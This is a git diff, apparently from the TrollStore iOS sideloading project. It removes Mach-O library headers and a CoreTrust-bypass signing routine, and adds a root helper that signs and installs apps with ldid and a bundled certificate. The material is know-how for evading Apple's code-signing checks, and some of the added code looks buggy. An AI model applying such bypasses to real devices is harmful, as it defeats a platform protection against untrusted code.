struct fat_arch_64 archDescriptor;
uint32_t filesetCount;
FilesetMachO *filesetMachos;
uint32_t segmentCount;
MachOSegment **segments;
} MachO;
// Read data from a MachO at a specified offset
int macho_read_at_offset(MachO *macho, uint64_t offset, size_t size, void *outBuf);
// Write data from a MachO at a specified offset, auto expands, only works if opened via macho_init_for_writing
int macho_write_at_offset(MachO *macho, uint64_t offset, size_t size, void *inBuf);
MemoryStream *macho_get_stream(MachO *macho);
uint32_t macho_get_filetype(MachO *macho);
// Perform translation between file offsets and virtual addresses
int macho_translate_fileoff_to_vmaddr(MachO *macho, uint64_t fileoff, uint64_t *vmaddrOut, MachOSegment **segmentOut);
int macho_translate_vmaddr_to_fileoff(MachO *macho, uint64_t vmaddr, uint64_t *fileoffOut, MachOSegment **segmentOut);
// Read data from a MachO at a specified virtual address
int macho_read_at_vmaddr(MachO *macho, uint64_t vmaddr, size_t size, void *outBuf);
int macho_enumerate_load_commands(MachO *macho, void (^enumeratorBlock)(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop));
// Initialise a MachO object from a MemoryStream and it's corresponding FAT arch descriptor
MachO *macho_init(MemoryStream *stream, struct fat_arch_64 archDescriptor);
// Initialize a single slice macho for writing to it
MachO *macho_init_for_writing(const char *filePath);
void macho_free(MachO *macho);
#endif // MACHO_SLICE_H

View File

@ -1,164 +0,0 @@
#ifndef MACHO_BYTE_ORDER_H
#define MACHO_BYTE_ORDER_H
#include <stdio.h>
#include <stdlib.h>
// 8-bit integers needed for CodeDirectory
#define BIG_TO_HOST(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
int16_t: OSSwapBigToHostInt16(n), \
uint16_t: OSSwapBigToHostInt16(n), \
int32_t: OSSwapBigToHostInt32(n), \
uint32_t: OSSwapBigToHostInt32(n), \
int64_t: OSSwapBigToHostInt64(n), \
uint64_t: OSSwapBigToHostInt64(n) \
)
#define HOST_TO_BIG(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
uint16_t: OSSwapHostToBigInt16(n), \
int16_t: OSSwapHostToBigInt16(n), \
int32_t: OSSwapHostToBigInt32(n), \
uint32_t: OSSwapHostToBigInt32(n), \
int64_t: OSSwapHostToBigInt64(n), \
uint64_t: OSSwapHostToBigInt64(n) \
)
#define LITTLE_TO_HOST(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
int16_t: OSSwapLittleToHostInt16(n), \
uint16_t: OSSwapLittleToHostInt16(n), \
int32_t: OSSwapLittleToHostInt32(n), \
uint32_t: OSSwapLittleToHostInt32(n), \
int64_t: OSSwapLittleToHostInt64(n), \
uint64_t: OSSwapLittleToHostInt64(n) \
)
#define HOST_TO_LITTLE(n) _Generic((n), \
int8_t: n, \
uint8_t: n, \
int16_t: OSSwapHostToLittleInt16(n), \
uint16_t: OSSwapHostToLittleInt16(n), \
int32_t: OSSwapHostToLittleInt32(n), \
uint32_t: OSSwapHostToLittleInt32(n), \
int64_t: OSSwapHostToLittleInt64(n), \
uint64_t: OSSwapHostToLittleInt64(n) \
)
#define HOST_TO_LITTLE_APPLIER(instance, member) \
(instance)->member = HOST_TO_LITTLE((instance)->member)
#define HOST_TO_BIG_APPLIER(instance, member) \
(instance)->member = HOST_TO_BIG((instance)->member)
#define LITTLE_TO_HOST_APPLIER(instance, member) \
(instance)->member = LITTLE_TO_HOST((instance)->member)
#define BIG_TO_HOST_APPLIER(instance, member) \
(instance)->member = BIG_TO_HOST((instance)->member)
#define FAT_HEADER_APPLY_BYTE_ORDER(fh, applier) \
applier(fh, magic); \
applier(fh, nfat_arch);
#define FAT_ARCH_APPLY_BYTE_ORDER(arch, applier) \
applier(arch, cputype); \
applier(arch, cpusubtype); \
applier(arch, offset); \
applier(arch, size); \
applier(arch, align); \
#define FAT_ARCH_64_APPLY_BYTE_ORDER(arch, applier) \
applier(arch, cputype); \
applier(arch, cpusubtype); \
applier(arch, offset); \
applier(arch, size); \
applier(arch, align); \
applier(arch, reserved); \
#define MACH_HEADER_APPLY_BYTE_ORDER(mh, applier) \
applier(mh, magic); \
applier(mh, cputype); \
applier(mh, cpusubtype); \
applier(mh, filetype); \
applier(mh, ncmds); \
applier(mh, sizeofcmds); \
applier(mh, reserved);
#define LOAD_COMMAND_APPLY_BYTE_ORDER(lc, applier) \
applier(lc, cmd); \
applier(lc, cmdsize);
#define LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(lc, applier) \
applier(lc, cmd); \
applier(lc, cmdsize); \
applier(lc, dataoff); \
applier(lc, datasize);
#define BLOB_INDEX_APPLY_BYTE_ORDER(bi, applier) \
applier(bi, type); \
applier(bi, offset);
#define SUPERBLOB_APPLY_BYTE_ORDER(sb, applier) \
applier(sb, magic); \
applier(sb, length); \
applier(sb, count);
#define GENERIC_BLOB_APPLY_BYTE_ORDER(gb, applier) \
applier(gb, magic); \
applier(gb, length);
#define CODE_DIRECTORY_APPLY_BYTE_ORDER(cd, applier) \
applier(cd, magic); \
applier(cd, length); \
applier(cd, version); \
applier(cd, flags); \
applier(cd, hashOffset); \
applier(cd, identOffset); \
applier(cd, nSpecialSlots); \
applier(cd, nCodeSlots); \
applier(cd, codeLimit); \
applier(cd, hashSize); \
applier(cd, hashType); \
applier(cd, spare1); \
applier(cd, pageSize); \
applier(cd, spare2); \
applier(cd, scatterOffset); \
applier(cd, teamOffset);
#define SEGMENT_COMMAND_64_APPLY_BYTE_ORDER(sc64, applier) \
applier(sc64, cmd); \
applier(sc64, cmdsize); \
applier(sc64, fileoff); \
applier(sc64, filesize); \
applier(sc64, vmaddr); \
applier(sc64, vmsize); \
applier(sc64, flags); \
applier(sc64, initprot); \
applier(sc64, maxprot); \
applier(sc64, nsects);
#define SECTION_64_APPLY_BYTE_ORDER(sc64, applier) \
applier(sc64, addr); \
applier(sc64, align); \
applier(sc64, flags); \
applier(sc64, nreloc); \
applier(sc64, offset); \
applier(sc64, reserved1); \
applier(sc64, reserved2); \
applier(sc64, reserved3); \
applier(sc64, size);
#define FILESET_ENTRY_COMMAND_APPLY_BYTE_ORDER(fse, applier) \
applier(fse, cmd); \
applier(fse, cmdsize); \
applier(fse, vmaddr); \
applier(fse, fileoff); \
applier(fse, entry_id.offset); \
applier(fse, reserved); \
#endif // MACHO_BYTE_ORDER_H

View File

@ -1,16 +0,0 @@
#ifndef MACHO_LOAD_COMMAND_H
#define MACHO_LOAD_COMMAND_H
#include <mach-o/loader.h>
#include "MachO.h"
#include "CSBlob.h"
#include "FileStream.h"
#include "MachOByteOrder.h"
// Convert load command to load command name
char *load_command_to_string(int loadCommand);
void update_segment_command_64(MachO *macho, const char *segmentName, uint64_t vmaddr, uint64_t vmsize, uint64_t fileoff, uint64_t filesize);
void update_lc_code_signature(MachO *macho, uint64_t size);
int update_load_commands_for_coretrust_bypass(MachO *macho, CS_SuperBlob *superblob, uint64_t originalCodeSignatureSize, uint64_t originalMachOSize);
#endif // MACHO_LOAD_COMMAND_H

View File

@ -1,60 +0,0 @@
#ifndef MEMORY_STREAM_H
#define MEMORY_STREAM_H
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdbool.h>
#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0)
#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1)
#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2)
#define MEMORY_STREAM_SIZE_INVALID (size_t)-1
// A generic memory IO interface that is used throughout this project
// Can be backed by anything, just the functions have to be implemented
typedef struct s_MemoryStream {
void *context;
uint32_t flags;
int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);
int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut);
uint8_t *(*getRawPtr)(struct s_MemoryStream *stream);
int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);
int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);
struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream);
struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream);
void (*free)(struct s_MemoryStream *stream);
} MemoryStream;
int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf);
int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf);
int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size);
int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString);
int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string);
size_t memory_stream_get_size(MemoryStream *stream);
uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream);
uint32_t memory_stream_get_flags(MemoryStream *stream);
MemoryStream *memory_stream_softclone(MemoryStream *stream);
MemoryStream *memory_stream_hardclone(MemoryStream *stream);
int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd);
int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd);
void memory_stream_free(MemoryStream *stream);
int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size);
int memory_stream_find_memory(MemoryStream *stream, uint64_t searchOffset, size_t searchSize, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut);
#endif // MEMORY_STREAM_H

View File

@ -1,44 +0,0 @@
#include <stdint.h>
#include "MachO.h"
#define METRIC_TYPE_PATTERN 1
#define METRIC_TYPE_STRING_XREF 2
#define METRIC_TYPE_FUNCTION_XREF 3
typedef struct PFSection {
uint64_t fileoff;
uint64_t vmaddr;
uint64_t size;
uint8_t *cache;
bool ownsCache;
} PFSection;
PFSection *macho_patchfinder_create_section(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName);
int macho_patchfinder_cache_section(PFSection *section, MachO *fromMacho);
void macho_patchfinder_section_free(PFSection *section);
typedef struct MetricShared {
uint32_t type;
PFSection *section;
} MetricShared;
typedef enum {
BYTE_PATTERN_ALIGN_8_BIT,
BYTE_PATTERN_ALIGN_16_BIT,
BYTE_PATTERN_ALIGN_32_BIT,
BYTE_PATTERN_ALIGN_64_BIT,
} BytePatternAlignment;
typedef struct BytePatternMetric {
MetricShared shared;
void *bytes;
void *mask;
size_t nbytes;
BytePatternAlignment alignment;
} BytePatternMetric;
BytePatternMetric *macho_patchfinder_create_byte_pattern_metric(PFSection *section, void *bytes, void *mask, size_t nbytes, BytePatternAlignment alignment);
void macho_patchfinder_run_metric(MachO *macho, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop));

View File

@ -1,16 +0,0 @@
#ifndef SIGN_OSSL_H
#define SIGN_OSSL_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/pem.h>
#include <openssl/rsa.h>
#include <openssl/sha.h>
#include <openssl/err.h>
unsigned char *signWithRSA(unsigned char *inputData, size_t inputDataLength, unsigned char *key, size_t key_len, size_t *outputDataLength);
#endif // SIGN_OSSL_H
// 0xA422

View File

@ -1,12 +0,0 @@
#ifndef SIGNING_H
#define SIGNING_H
#include <stdio.h>
#include <stdlib.h>
#include <CommonCrypto/CommonCrypto.h>
#include <Security/SecKey.h>
#include <Security/Security.h>
// int signWithRSA(const char *certificateFile, const char *inputFile, const char *outputFile);
#endif // SIGNING_H

View File

@ -1,6 +0,0 @@
#include <stdint.h>
#include <stdlib.h>
uint64_t align_to_size(int size, int alignment);
int count_digits(int64_t num);
void print_hash(uint8_t *hash, size_t size);

Binary file not shown.

Binary file not shown.

View File

@ -10,14 +10,6 @@
#import <sys/utsname.h>
#import <mach-o/loader.h>
#import <mach-o/fat.h>
#ifndef EMBEDDED_ROOT_HELPER
#import "codesign.h"
#import "coretrust_bug.h"
#import <choma/FAT.h>
#import <choma/MachO.h>
#import <choma/FileStream.h>
#import <choma/Host.h>
#endif
#import <SpringBoardServices/SpringBoardServices.h>
#import <Security/Security.h>
@ -459,78 +451,15 @@ BOOL codeCertChainContainsFakeAppStoreExtensions(SecStaticCodeRef codeRef)
return evaluatesToCustomAnchor;
}
BOOL isSameFile(NSString *path1, NSString *path2)
{
struct stat sb1;
struct stat sb2;
stat(path1.fileSystemRepresentation, &sb1);
stat(path2.fileSystemRepresentation, &sb2);
return sb1.st_ino == sb2.st_ino;
}
#ifdef EMBEDDED_ROOT_HELPER
// The embedded root helper is not able to sign apps
// But it does not need that functionality anyways
int signApp(NSString* appPath)
{
return -1;
}
#else
int signAdhoc(NSString *filePath, NSDictionary *entitlements)
{
//if (@available(iOS 16, *)) {
// return codesign_sign_adhoc(filePath.fileSystemRepresentation, true, entitlements);
//}
// If iOS 14 is so great, how come there is no iOS 14 2?????
//else {
if(!isLdidInstalled()) return 173;
NSString *entitlementsPath = nil;
NSString *signArg = @"-s";
NSString* errorOutput;
if(entitlements)
{
NSData *entitlementsXML = [NSPropertyListSerialization dataWithPropertyList:entitlements format:NSPropertyListXMLFormat_v1_0 options:0 error:nil];
if (entitlementsXML) {
entitlementsPath = [[NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString] stringByAppendingPathExtension:@"plist"];
[entitlementsXML writeToFile:entitlementsPath atomically:NO];
signArg = [@"-S" stringByAppendingString:entitlementsPath];
}
}
int ldidRet = runLdid(@[signArg, filePath], nil, &errorOutput);
if (entitlementsPath) {
[[NSFileManager defaultManager] removeItemAtPath:entitlementsPath error:nil];
}
NSLog(@"ldid exited with status %d", ldidRet);
NSLog(@"- ldid error output start -");
printMultilineNSString(errorOutput);
NSLog(@"- ldid error output end -");
if(ldidRet == 0)
{
return 0;
}
else
{
return 175;
}
//}
}
int signApp(NSString* appPath)
{
NSDictionary* appInfoDict = infoDictionaryForAppPath(appPath);
if(!appInfoDict) return 172;
NSString* mainExecutablePath = appMainExecutablePathForAppPath(appPath);
if(!mainExecutablePath) return 176;
NSString* executablePath = appMainExecutablePathForAppPath(appPath);
if(!executablePath) return 176;
if(![[NSFileManager defaultManager] fileExistsAtPath:mainExecutablePath]) return 174;
if(![[NSFileManager defaultManager] fileExistsAtPath:executablePath]) return 174;
NSObject *tsBundleIsPreSigned = appInfoDict[@"TSBundlePreSigned"];
if([tsBundleIsPreSigned isKindOfClass:[NSNumber class]])
@ -539,116 +468,67 @@ int signApp(NSString* appPath)
NSNumber *tsBundleIsPreSignedNum = (NSNumber *)tsBundleIsPreSigned;
if([tsBundleIsPreSignedNum boolValue] == YES)
{
NSLog(@"[signApp] taking fast path for app which declares it has already been signed (%@)", mainExecutablePath);
NSLog(@"[signApp] taking fast path for app which declares it has already been signed (%@)", executablePath);
return 0;
}
}
// XXX: There used to be a check here whether the main binary was already signed with bypass
// In that case it would skip signing aswell, no clue if that's still needed
// With the new bypass adhoc signing should fail and reapplying the bypass should produce an identical binary
/*SecStaticCodeRef codeRef = getStaticCodeRef(mainExecutablePath);
SecStaticCodeRef codeRef = getStaticCodeRef(executablePath);
if(codeRef != NULL)
{
if(codeCertChainContainsFakeAppStoreExtensions(codeRef))
{
NSLog(@"[signApp] taking fast path for app signed using a custom root certificate (%@)", mainExecutablePath);
NSLog(@"[signApp] taking fast path for app signed using a custom root certificate (%@)", executablePath);
CFRelease(codeRef);
return 0;
}
}
else
{
NSLog(@"[signApp] failed to get static code, can't derive entitlements from %@, continuing anways...", mainExecutablePath);
}*/
NSLog(@"[signApp] failed to get static code, can't derive entitlements from %@, continuing anways...", executablePath);
}
int (^signFile)(NSString *, NSDictionary *) = ^(NSString *filePath, NSDictionary *entitlements) {
NSLog(@"Checking %@", filePath);
FAT *fat = fat_init_from_path(filePath.fileSystemRepresentation);
if (fat) {
NSLog(@"%@ is binary", filePath);
fat_free(fat);
if(!isLdidInstalled()) return 173;
// First attempt ad hoc signing
int r = signAdhoc(filePath, entitlements);
if (r != 0) {
// If it doesn't work it's not a big deal, that usually happens when the binary had the bypass applied already (Don't ask me why)
NSLog(@"[%@] Adhoc signing failed with error code %d, continuing anyways...\n", filePath, r);
}
else {
NSLog(@"[%@] Adhoc signing worked!\n", filePath);
}
NSString* certPath = [trollStoreAppPath() stringByAppendingPathComponent:@"cert.p12"];
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
NSString* errorOutput;
int ldidRet;
fat = fat_init_from_path(filePath.fileSystemRepresentation);
if (!fat) return 175; // This should never happen, if it does then everything is fucked
NSDictionary* entitlements = dumpEntitlements(codeRef);
CFRelease(codeRef);
// Now apply CoreTrust bypass to best slice
MachO *machoForExtraction = fat_find_preferred_slice(fat);
if (machoForExtraction) {
NSString *tmpPath = [NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString];
MemoryStream *sliceStream = macho_get_stream(machoForExtraction);
MemoryStream *sliceOutStream = file_stream_init_from_path(tmpPath.fileSystemRepresentation, 0, 0, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND);
if (sliceOutStream) {
memory_stream_copy_data(sliceStream, 0, sliceOutStream, 0, memory_stream_get_size(sliceStream));
memory_stream_free(sliceOutStream);
// Now we have the single slice at tmpPath, which we will sign and apply the bypass, then copy over the original file
NSLog(@"[%@] Adhoc signing...", filePath);
NSLog(@"[%@] Applying CoreTrust bypass...", filePath);
r = apply_coretrust_bypass(tmpPath.fileSystemRepresentation);
if (r == 0) {
NSLog(@"[%@] Applied CoreTrust bypass!", filePath);
}
else {
NSLog(@"[%@] CoreTrust bypass failed!!! :(", filePath);
fat_free(fat);
return 175;
}
// tempFile is now signed, overwrite original file at filePath with it
[[NSFileManager defaultManager] removeItemAtPath:filePath error:nil];
[[NSFileManager defaultManager] moveItemAtPath:tmpPath toPath:filePath error:nil];
}
}
fat_free(fat);
}
return 0;
};
NSURL* fileURL;
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:[NSURL fileURLWithPath:appPath] includingPropertiesForKeys:nil options:0 errorHandler:nil];
while(fileURL = [enumerator nextObject])
if(!entitlements)
{
NSString *filePath = fileURL.path;
if (isSameFile(filePath, mainExecutablePath)) {
// Skip main executable, we will sign it at the end
continue;
}
int r = signFile(filePath, nil);
if (r != 0) return r;
NSLog(@"app main binary has no entitlements, signing app with fallback entitlements...");
// app has no entitlements, sign with fallback entitlements
NSString* entitlementPath = [trollStoreAppPath() stringByAppendingPathComponent:@"fallback.entitlements"];
NSString* entitlementArg = [@"-S" stringByAppendingString:entitlementPath];
ldidRet = runLdid(@[entitlementArg, certArg, appPath], nil, &errorOutput);
}
else
{
// app has entitlements, keep them
ldidRet = runLdid(@[@"-s", certArg, appPath], nil, &errorOutput);
}
// In the case where the main executable currently has no entitlements at all
// We want to ensure it gets signed with fallback entitlements
// These mimic the entitlements that Xcodes gives every app it signs
NSDictionary *entitlementsToUse = nil;
NSDictionary* mainExecutableEntitlements = dumpEntitlementsFromBinaryAtPath(mainExecutablePath);
if (!mainExecutableEntitlements) {
entitlementsToUse = @{
@"application-identifier" : @"TROLLTROLL.*",
@"com.apple.developer.team-identifier" : @"TROLLTROLL",
@"get-task-allow" : (__bridge id)kCFBooleanTrue,
@"keychain-access-groups" : @[
@"TROLLTROLL.*",
@"com.apple.token"
],
};
NSLog(@"ldid exited with status %d", ldidRet);
NSLog(@"- ldid error output start -");
printMultilineNSString(errorOutput);
NSLog(@"- ldid error output end -");
if(ldidRet == 0)
{
return 0;
}
else
{
return 175;
}
return signFile(mainExecutablePath, entitlementsToUse);
}
#endif
void applyPatchesToInfoDictionary(NSString* appPath)
{
@ -895,11 +775,6 @@ int uninstallApp(NSString* appPath, NSString* appId, BOOL useCustomMethod)
{
LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:appId];
// delete data container
if (appProxy.dataContainerURL) {
[[NSFileManager defaultManager] removeItemAtURL:appProxy.dataContainerURL error:nil];
}
// delete group container paths
[[appProxy groupContainerURLs] enumerateKeysAndObjectsUsingBlock:^(NSString* groupId, NSURL* groupURL, BOOL* stop)
{
@ -1051,40 +926,38 @@ int installTrollStore(NSString* pathToTar)
NSString* tmpTrollStorePath = [tmpPayloadPath stringByAppendingPathComponent:@"TrollStore.app"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpTrollStorePath]) return 1;
//if (@available(iOS 16, *)) {} else {
// Transfer existing ldid installation if it exists
// But only if the to-be-installed version of TrollStore is 1.5.0 or above
// This is to make it possible to downgrade to older versions still
// Transfer existing ldid installation if it exists
// But only if the to-be-installed version of TrollStore is 1.5.0 or above
// This is to make it possible to downgrade to older versions still
NSString* toInstallInfoPlistPath = [tmpTrollStorePath stringByAppendingPathComponent:@"Info.plist"];
if(![[NSFileManager defaultManager] fileExistsAtPath:toInstallInfoPlistPath]) return 1;
NSString* toInstallInfoPlistPath = [tmpTrollStorePath stringByAppendingPathComponent:@"Info.plist"];
if(![[NSFileManager defaultManager] fileExistsAtPath:toInstallInfoPlistPath]) return 1;
NSDictionary* toInstallInfoDict = [NSDictionary dictionaryWithContentsOfFile:toInstallInfoPlistPath];
NSString* toInstallVersion = toInstallInfoDict[@"CFBundleVersion"];
NSDictionary* toInstallInfoDict = [NSDictionary dictionaryWithContentsOfFile:toInstallInfoPlistPath];
NSString* toInstallVersion = toInstallInfoDict[@"CFBundleVersion"];
NSComparisonResult result = [@"1.5.0" compare:toInstallVersion options:NSNumericSearch];
if(result != NSOrderedDescending)
NSComparisonResult result = [@"1.5.0" compare:toInstallVersion options:NSNumericSearch];
if(result != NSOrderedDescending)
{
NSString* existingLdidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
NSString* existingLdidVersionPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid.version"];
if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidPath])
{
NSString* existingLdidPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid"];
NSString* existingLdidVersionPath = [trollStoreAppPath() stringByAppendingPathComponent:@"ldid.version"];
if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidPath])
NSString* tmpLdidPath = [tmpTrollStorePath stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidPath])
{
NSString* tmpLdidPath = [tmpTrollStorePath stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidPath])
{
[[NSFileManager defaultManager] copyItemAtPath:existingLdidPath toPath:tmpLdidPath error:nil];
}
}
if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidVersionPath])
{
NSString* tmpLdidVersionPath = [tmpTrollStorePath stringByAppendingPathComponent:@"ldid.version"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidVersionPath])
{
[[NSFileManager defaultManager] copyItemAtPath:existingLdidVersionPath toPath:tmpLdidVersionPath error:nil];
}
[[NSFileManager defaultManager] copyItemAtPath:existingLdidPath toPath:tmpLdidPath error:nil];
}
}
//}
if([[NSFileManager defaultManager] fileExistsAtPath:existingLdidVersionPath])
{
NSString* tmpLdidVersionPath = [tmpTrollStorePath stringByAppendingPathComponent:@"ldid.version"];
if(![[NSFileManager defaultManager] fileExistsAtPath:tmpLdidVersionPath])
{
[[NSFileManager defaultManager] copyItemAtPath:existingLdidVersionPath toPath:tmpLdidVersionPath error:nil];
}
}
}
// Merge existing URL scheme settings value
if(!getTSURLSchemeState(nil))
@ -1367,12 +1240,10 @@ int MAIN_NAME(int argc, char *argv[], char *envp[])
}
else if([cmd isEqualToString:@"install-ldid"])
{
//if (@available(iOS 16, *)) {} else {
if(args.count < 3) return -3;
NSString* ldidPath = args[1];
NSString* ldidVersion = args[2];
installLdid(ldidPath, ldidVersion);
//}
if(args.count < 3) return -3;
NSString* ldidPath = args[1];
NSString* ldidVersion = args[2];
installLdid(ldidPath, ldidVersion);
}
else if([cmd isEqualToString:@"refresh"])
{

351
RootHelper/main.m-system Normal file
View File

@ -0,0 +1,351 @@
#import <stdio.h>
#import "unarchive.h"
@import Foundation;
#import "uicache.h"
#import <sys/stat.h>
#import <dlfcn.h>
#import <spawn.h>
#import "path.h"
#import "CoreServices.h"
#import <objc/runtime.h>
#define kCFPreferencesNoContainer CFSTR("kCFPreferencesNoContainer")
typedef CFPropertyListRef (*_CFPreferencesCopyValueWithContainerType)(CFStringRef key, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef void (*_CFPreferencesSetValueWithContainerType)(CFStringRef key, CFPropertyListRef value, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef Boolean (*_CFPreferencesSynchronizeWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFArrayRef (*_CFPreferencesCopyKeyListWithContainerType)(CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
typedef CFDictionaryRef (*_CFPreferencesCopyMultipleWithContainerType)(CFArrayRef keysToFetch, CFStringRef applicationID, CFStringRef userName, CFStringRef hostName, CFStringRef containerPath);
extern char*** _NSGetArgv();
NSString* safe_getExecutablePath()
{
char* executablePathC = **_NSGetArgv();
return [NSString stringWithUTF8String:executablePathC];
}
NSDictionary* infoDictionaryForAppPath(NSString* appPath)
{
NSString* infoPlistPath = [appPath stringByAppendingPathComponent:@"Info.plist"];
return [NSDictionary dictionaryWithContentsOfFile:infoPlistPath];
}
NSString* appIdForAppPath(NSString* appPath)
{
return infoDictionaryForAppPath(appPath)[@"CFBundleIdentifier"];
}
NSString* appPathForAppId(NSString* appId, NSError** error)
{
NSString* appPath = [TROLLSTORE_APPLICATIONS_PATH stringByAppendingPathComponent:appId];
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appPath error:error];
if(!items) return nil;
for(NSString* item in items)
{
if([item.pathExtension isEqualToString:@"app"])
{
return [appPath stringByAppendingPathComponent:item];
}
}
return nil;
}
static void dump_file_content(int fd)
{
ssize_t num_read;
char line_buf[256];
int cur_pos = 0;
for (;;)
{
char c;
num_read = read(fd, &c, sizeof(c));
if(num_read <= 0)
if(c == '\n' || cur_pos >= 255 || num_read <= 0)
{
line_buf[cur_pos] = '\n';
NSLog(@"%s", (char*)line_buf);
if(c == '\n') cur_pos++;
if(num_read > 0)
{
continue;
}
else
{
break;
}
}
line_buf[cur_pos++] = c;
}
}
BOOL signApp(NSString* appPath, NSError** error)
{
NSString* ldidPath = [[safe_getExecutablePath() stringByDeletingLastPathComponent] stringByAppendingPathComponent:@"ldid"];
if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath])
{
NSLog(@"WARNING: ldid not found, not signing application");
return NO;
}
NSString* certPath = [TROLLSTORE_MAIN_PATH stringByAppendingPathComponent:@"TrollStore.app/cert.p12"];
NSString* certArg = [@"-K" stringByAppendingPathComponent:certPath];
int out[2];
posix_spawn_file_actions_t action;
posix_spawn_file_actions_init(&action);
pipe(out);
posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO);
posix_spawn_file_actions_addclose(&action, out[0]);
char* args[] = { "ldid", "-S", "-M", (char*)certArg.UTF8String, (char*)appPath.UTF8String, NULL };
NSLog(@"%@ ldid -S -M %@ %@", ldidPath, certArg, appPath);
pid_t task_pid;
int status = -200;
int spawnError = posix_spawn(&task_pid, [ldidPath UTF8String], &action, NULL, args, NULL);
if(spawnError != 0)
{
NSLog(@"posix_spawn error %d\n", spawnError);
return spawnError;
}
waitpid(task_pid, &status, WEXITED);
NSLog(@"ldid exited with status %d", status);
waitpid(task_pid, &status, 0);
NSLog(@"ldid exited with status %d", status);
NSLog(@"ldid output:");
close(out[1]);
dump_file_content(out[0]);
NSLog(@"end ldid output:");
return status == 0;
}
BOOL installApp(NSString* appPath, NSString* appId, BOOL sign, NSError** error)
{
if(sign)
{
// if it fails to sign, we don't care
signApp(appPath, error);
}
BOOL existed;
NSError* mcmError;
MCMAppContainer* appContainer = [objc_getClass("MCMAppContainer") containerWithIdentifier:appId createIfNecessary:YES existed:&existed error:&mcmError];
NSLog(@"installApp appContainer: %@, mcmError: %@", appContainer, mcmError);
if(!appContainer || mcmError)
{
if(error) *error = mcmError;
return NO;
}
//TODO: if TrollStore, preserve by moving it into appPath if needed ldid if needed
NSURL* trollStoreMarkURL = [appContainer.url URLByAppendingPathComponent:@"_TrollStore"];
if(existed)
{
// trying to update an app not installed by TrollStore... bailing out
if(![trollStoreMarkURL checkResourceIsReachableAndReturnError:nil])
{
NSLog(@"installApp already installed and not a TrollStore app... bailing out");
return NO;
}
else
{
// update existing app... clean old app directory
NSLog(@"installApp found existing TrollStore app, cleaning directory");
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtURL:appContainer.url includingPropertiesForKeys:nil options:0 errorHandler:nil];
NSURL* fileURL;
while(fileURL = [enumerator nextObject])
{
[[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
}
}
}
[[NSFileManager defaultManager] createFileAtPath:trollStoreMarkURL.path contents:[NSData data] attributes:nil];
NSString* newAppPath = [appContainer.url.path stringByAppendingPathComponent:appPath.lastPathComponent];
NSLog(@"installApp new app path: %@", newAppPath);
BOOL suc = [[NSFileManager defaultManager] copyItemAtPath:appPath toPath:newAppPath error:error];
NSLog(@"installApp copied app? %d, adding to uicache now...", suc);
registerPath(newAppPath, NO);
return YES;
}
BOOL uninstallApp(NSString* appId, NSError** error)
{
NSString* appPath = appPathForAppId(appId, error);
if(!appPath) return NO;
registerPath(appPath, YES);
return [[NSFileManager defaultManager] removeItemAtPath:[appPath stringByDeletingLastPathComponent] error:error];
}
BOOL installIpa(NSString* ipaPath, NSError** error)
{
